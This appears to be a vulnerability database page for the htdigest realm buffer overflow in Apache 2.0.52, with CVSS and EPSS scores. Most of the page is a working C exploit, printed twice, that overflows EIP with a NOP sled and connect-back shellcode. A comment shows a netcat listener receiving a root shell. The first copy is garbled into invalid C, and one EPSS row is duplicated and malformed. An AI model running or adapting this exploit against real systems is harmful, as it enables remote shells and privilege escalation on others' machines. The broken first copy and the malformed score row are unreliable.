CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.
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Buffer overflow in htdigest in Apache 2.0.52 may allow attackers to execute arbitrary code via a long realm argument. NOTE: since htdigest is normally only locally accessible and not setuid or setgid, there are few attack vectors which would lead to an escalation of privileges, unless htdigest is executed from a CGI program. Therefore this may not be a vulnerability.
CVE Informations
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V2
7.5
AV:N/AC:L/Au:N/C:P/I:P/A:P
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
9.01%
–
–
2022-04-03
–
–
9.01%
–
–
2022-04-10
–
–
9.01%
–
–
2023-03-12
–
–
–
0.4%
–
2023-09-17
–
–
–
0.4%
–
2024-02-11
–
–
–
0.4%
–
2024-06-02
–
–
–
0.4%
–
2024-12-15
–
–
–
0.4%
–
2024-12-22
–
–
–
0.35%
–
2025-01-19
–
–
–
0.35%
–
2025-03-18
–
–
–
–
14.33%
2025-03-18
–
–
–
–
14.33,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
// source: https://www.securityfocus.com/bid/13537/info
A buffer overflow vulnerability exists in the htdigest utility included with Apache. The vulnerability is due to improper bounds checking when copying user-supplied realm data into local buffers.
By supplying an overly long realm value to the command line options of htdigest, it is possible to trigger an overflow condition. This may cause memory to be corrupted with attacker-specified values.
This issue could be exploited by a remote attacker; potentially resulting in the execution of arbitrary system commands within the context of the web server process.
#include <stdio.h>
#include <string.h>
#include <arpa/inet.h>
/********************************************************************************/
#define IP "127.1.1.1"
#define PORT 1337
unsigned int addys[] = { 0xbffffadd, // debian 3.1
};
// which address to use
#define ADDY 0
/*******************************************************************************/
// Point Of EIP - The ammount of data we must write to completely overflow eip
#define POE 395
// netric callback shellcode
char cb[] =
"\x31\xdb\x6a\x17\x58\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68".
"\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";
#define IP_OFFSET 33
#define PORT_OFFSET 39
void changeip(char *ip);
void changeport(char *code, int port, int offset);
int main (void) {
char buff[416];
int a;
changeip(IP);
changeport(cb, PORT, PORT_OFFSET);
for (a = 0; a < 200; a++)
*(buff+a) = 0x90;
for (int b = 0; *(cb+b); a++, b++)
*(buff+a) = *(cb+b);
for (; a + 4 <= POE; a += 4)
memcpy(buff+a, (addys+ADDY), 4);
*(buff+a) = 0;
fwrite(buff, strlen(buff), 1, stdout);
return(0);
}
// ripped from some of snooq's code
void changeip(char *ip) {
char *ptr;
ptr=cb+IP_OFFSET;
/* Assume Little-Endianess.... */
*((long *)ptr)=inet_addr(ip);
}
// ripped from some of snooq's code
void changeport(char *code, int port, int offset) {
char *ptr;
ptr=code+offset;
/* Assume Little-Endianess.... */
*ptr++=(char)((port>>8)&0xff);
*ptr++=(char)(port&0xff);
}
// source: https://www.securityfocus.com/bid/13537/info
A buffer overflow vulnerability exists in the htdigest utility included with Apache. The vulnerability is due to improper bounds checking when copying user-supplied realm data into local buffers.
By supplying an overly long realm value to the command line options of htdigest, it is possible to trigger an overflow condition. This may cause memory to be corrupted with attacker-specified values.
This issue could be exploited by a remote attacker; potentially resulting in the execution of arbitrary system commands within the context of the web server process.
/*
* htdigest-realm-bof.c by K-sPecial 5-11-2005 { irc://irc.xzziroz.net }
*
* exploit for htdigest 'realm' parameter overflow; not sure on versions, seems to be <= 1.3.27 <= 2.0.52
* http://www.securiteam.com/unixfocus/5EP061FEKC.html
*
* compile with: gcc -o htdigest-realm-bof htdigest-realm-bof.c -std=c99
*
* One thing to note, apache seems to have htdigest going on quite odd, this code was written
* for the version that the htdigest sh script links together, debian seems to install the actual binary,
* so these might not be compatible. Also to note, this code was tested and created using the htdigest
* script/lt-htdigest that comes with apache 2.0.52
*
* kspecial@xzziroz:/usr/src/httpd-2.0.52/support$ ./htdigest -c file `./htdigest-realm-bof` user
* Adding password for user in realm ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������1�1�1�Q�Q�Q�Q�ᳰf̀��1�1�QQhfh9�fQ��SWR�ᳰf̀1�9�t1�̀1�?��̀1�?�ӱ̀1�?�ӱ̀1�1�Phn/shh//bi��PS��
* ̀1�̀����������������������������������������������������������������.
* ^[[?1;2cNew password:
* Re-type new password:
*
* kspecial@xzziroz:~$ nc -lvp 1337
* listening on [any] 1337 ...
* 127.1.1.1: inverse host lookup failed: Unknown host
* connect to [127.1.1.1] from (UNKNOWN) [127.1.1.1] 2965
* id
* uid=1000(kspecial) gid=1000(kspecial) euid=0(root) groups=100(users),1000(kspecial),1002(media)
*
*
* Of course the binary is not setuid by default. This ploit could be possibly useful to gain a
* shell when htdigest is being ran through a CGI script.
*/
#include <stdio.h>
#include <string.h>
#include <arpa/inet.h>
/********************************************************************************/
#define IP "127.1.1.1"
#define PORT 1337
unsigned int addys[] = { 0xbffffadd, // debian 3.1
};
// which address to use
#define ADDY 0
/*******************************************************************************/
// Point Of EIP - The ammount of data we must write to completely overflow eip
#define POE 395
// netric callback shellcode
char cb[] =
"\x31\xc0\x31\xdb\x31\xc9\x51\xb1"
"\x06\x51\xb1\x01\x51\xb1\x02\x51"
"\x89\xe1\xb3\x01\xb0\x66\xcd\x80"
"\x89\xc2\x31\xc0\x31\xc9\x51\x51"
"\x68\x41\x42\x43\x44\x66\x68\xb0"
"\xef\xb1\x02\x66\x51\x89\xe7\xb3"
"\x10\x53\x57\x52\x89\xe1\xb3\x03"
"\xb0\x66\xcd\x80\x31\xc9\x39\xc1"
"\x74\x06\x31\xc0\xb0\x01\xcd\x80"
"\x31\xc0\xb0\x3f\x89\xd3\xcd\x80"
"\x31\xc0\xb0\x3f\x89\xd3\xb1\x01"
"\xcd\x80\x31\xc0\xb0\x3f\x89\xd3"
"\xb1\x02\xcd\x80\x31\xc0\x31\xd2"
"\x50\x68\x6e\x2f\x73\x68\x68\x2f"
"\x2f\x62\x69\x89\xe3\x50\x53\x89"
"\xe1\xb0\x0b\xcd\x80\x31\xc0\xb0"
"\x01\xcd\x80";
#define IP_OFFSET 33
#define PORT_OFFSET 39
void changeip(char *ip);
void changeport(char *code, int port, int offset);
int main (void) {
char buff[416];
int a;
changeip(IP);
changeport(cb, PORT, PORT_OFFSET);
for (a = 0; a < 200; a++)
*(buff+a) = 0x90;
for (int b = 0; *(cb+b); a++, b++)
*(buff+a) = *(cb+b);
for (; a + 4 <= POE; a += 4)
memcpy(buff+a, (addys+ADDY), 4);
*(buff+a) = 0;
fwrite(buff, strlen(buff), 1, stdout);
return(0);
}
// ripped from some of snooq's code
void changeip(char *ip) {
char *ptr;
ptr=cb+IP_OFFSET;
/* Assume Little-Endianess.... */
*((long *)ptr)=inet_addr(ip);
}
// ripped from some of snooq's code
void changeport(char *code, int port, int offset) {
char *ptr;
ptr=code+offset;
/* Assume Little-Endianess.... */
*ptr++=(char)((port>>8)&0xff);
*ptr++=(char)(port&0xff);
}